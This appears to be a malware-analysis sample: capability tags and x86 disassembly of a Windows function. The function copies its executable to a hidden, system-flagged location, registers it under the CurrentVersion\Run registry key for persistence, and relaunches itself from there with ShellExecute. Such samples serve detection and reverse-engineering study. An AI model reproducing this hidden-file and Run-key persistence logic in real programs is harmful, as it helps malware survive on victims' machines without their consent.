Function at 0x407dc0
Capabilities:
Check if file exists
Check os version
Create process on windows
Create thread
Persist via run registry key
Set current directory
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1b4
mov eax, dword [0x441480]
xor eax, esp
mov dword [esp + 0x1b0], eax
push ebx
push esi
push edi
push 0
call fcn.00420e6f
add esp, 4
push eax
call fcn.00420c64
add esp, 4
call fcn.00401000
mov edi, eax
push edi
mov dword [esp + 0x14], edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov ebx, dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
test eax, eax
jne 0x407e2e
push edi
call fcn.004232df
add esp, 4
push edi
call fcn.00401fe0
add esp, 4
push 0
push edi
call fcn.00408030
add esp, 8
push 6
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
push 0x104
lea eax, [esp + 0xb4]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
call fcn.00401120
mov esi, eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x407e65
push esi
call fcn.004227e9
add esp, 4
cmp byte [0x444a85], 0
jne 0x407e7a
call fcn.004060f0
mov byte [0x444a85], 1
mov ecx, dword [0x444b3c]
mov eax, dword [ecx + 0x98]
push eax
lea eax, [esp + 0xb4]
call fcn.00404cb0
add esp, 4
test al, al
je 0x407ecf
cmp byte [0x444a85], 0
jne 0x407eaf
call fcn.004060f0
mov byte [0x444a85], 1
mov edx, dword [0x444b3c]
mov ecx, dword [edx + 0x98]
push 1
push esi
lea eax, [esp + 0xb8]
call fcn.00404f80
add esp, 8
jmp 0x407edf
push esi
lea eax, [esp + 0xb4]
call fcn.00401f50
add esp, 4
push esi
call fcn.004049c0
add esp, 4
push esi
call fcn.00401fe0
add esp, 4
push 6
push esi
call ebx
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x1c], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
cmp dword [esp + 0x1c], 6
jb 0x407f27
push 0
push 0
push 0
push 0x408310
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
jmp 0x407f8b
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407f30
sub eax, edx
mov edi, eax
call fcn.00401540
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push connect
mov ebx, eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x407f87
push edi
push esi
push 1
push 0
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [esp + 0x10]
mov ecx, esi
lea eax, [esp + 0xb0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x407fb4
test dl, dl
je 0x407fb0
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x407fb4
add eax, 2
add ecx, 2
test dl, dl
jne 0x407f94
xor eax, eax
jmp 0x407fb9
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x408008
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x408008
mov eax, dword [0x444a88]
test eax, eax
je 0x407fd8
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
push 0
push 0x43c488
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push edi
call fcn.00420c59
add esp, 4
push esi
call fcn.00420c59
add esp, 4
push 0
call fcn.00423277
push edi
call fcn.00420c59
add esp, 4
push esi
call fcn.00420c59
mov ecx, dword [esp + 0x1c0]
add esp, 4
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00420bc6
mov esp, ebp
pop ebp
ret